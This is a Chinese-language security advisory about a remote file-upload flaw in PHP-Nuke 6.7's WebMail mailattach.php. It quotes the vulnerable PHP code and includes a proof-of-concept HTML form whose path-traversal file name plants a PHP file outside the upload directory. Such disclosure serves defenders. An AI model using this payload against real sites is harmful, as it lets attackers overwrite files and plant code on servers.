首页 -> 安全研究

安全研究

安全漏洞
PHP-Nuke mailattach.php远程文件上传漏洞

发布日期:2003-10-03
更新日期:2003-10-13

受影响系统:
Francisco Burzi PHP-Nuke 6.7
描述:
BUGTRAQ  ID: 8764

PHP-Nuke是一个广为流行的网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。

PHP-Nuke mailattach.php脚本没有充分过滤用户输入,远程攻击者可以利用这个漏洞把文件传到WEB目录之外的文件系统上。

问题存在于modules/WebMail/mailattach.php脚本中:

if (isset($userfile) AND $userfile != "none" AND !ereg("/", $userfile) AND
!ereg("\.\.", $userfile) AND !ereg("%", $userfile)) {
    if (ini_get(file_uploads) AND $attachments == 1) {
    $updir = "tmp";
    @copy($userfile, "$updir/$userfile_name");
    @unlink($userfile);
    }
}

任何用户可以选择上传的文件路径,名称和扩展名,由于对文件路径缺少充分过滤,攻击者可以提交任意文件到WEB ROOT目录之外的文件系统中,可导致目标文件被覆盖。

<*来源:Frog Man (leseulfrog@hotmail.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=106529537331829&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Frog Man (leseulfrog@hotmail.com)提供了如下测试方法:

<form
action="http://[target]/modules/WebMail/mailattach.php?userfile_name=../../AvantGo/language/bad.php"

method="POST" ENCTYPE="multipart/form-data">
<input type="hidden" name="attachments" value="1">
<input type="file" name="userfile"><br>
<input type="submit" name="Send File>
</form>

此问题只能工作在Windows平台下,因为文件的临时名类似c:\temp\php054.TMP,因此$userfile不能包含任何'\'字符。

建议:
厂商补丁:

Francisco Burzi
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.phpnuke.org

浏览次数:3920
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障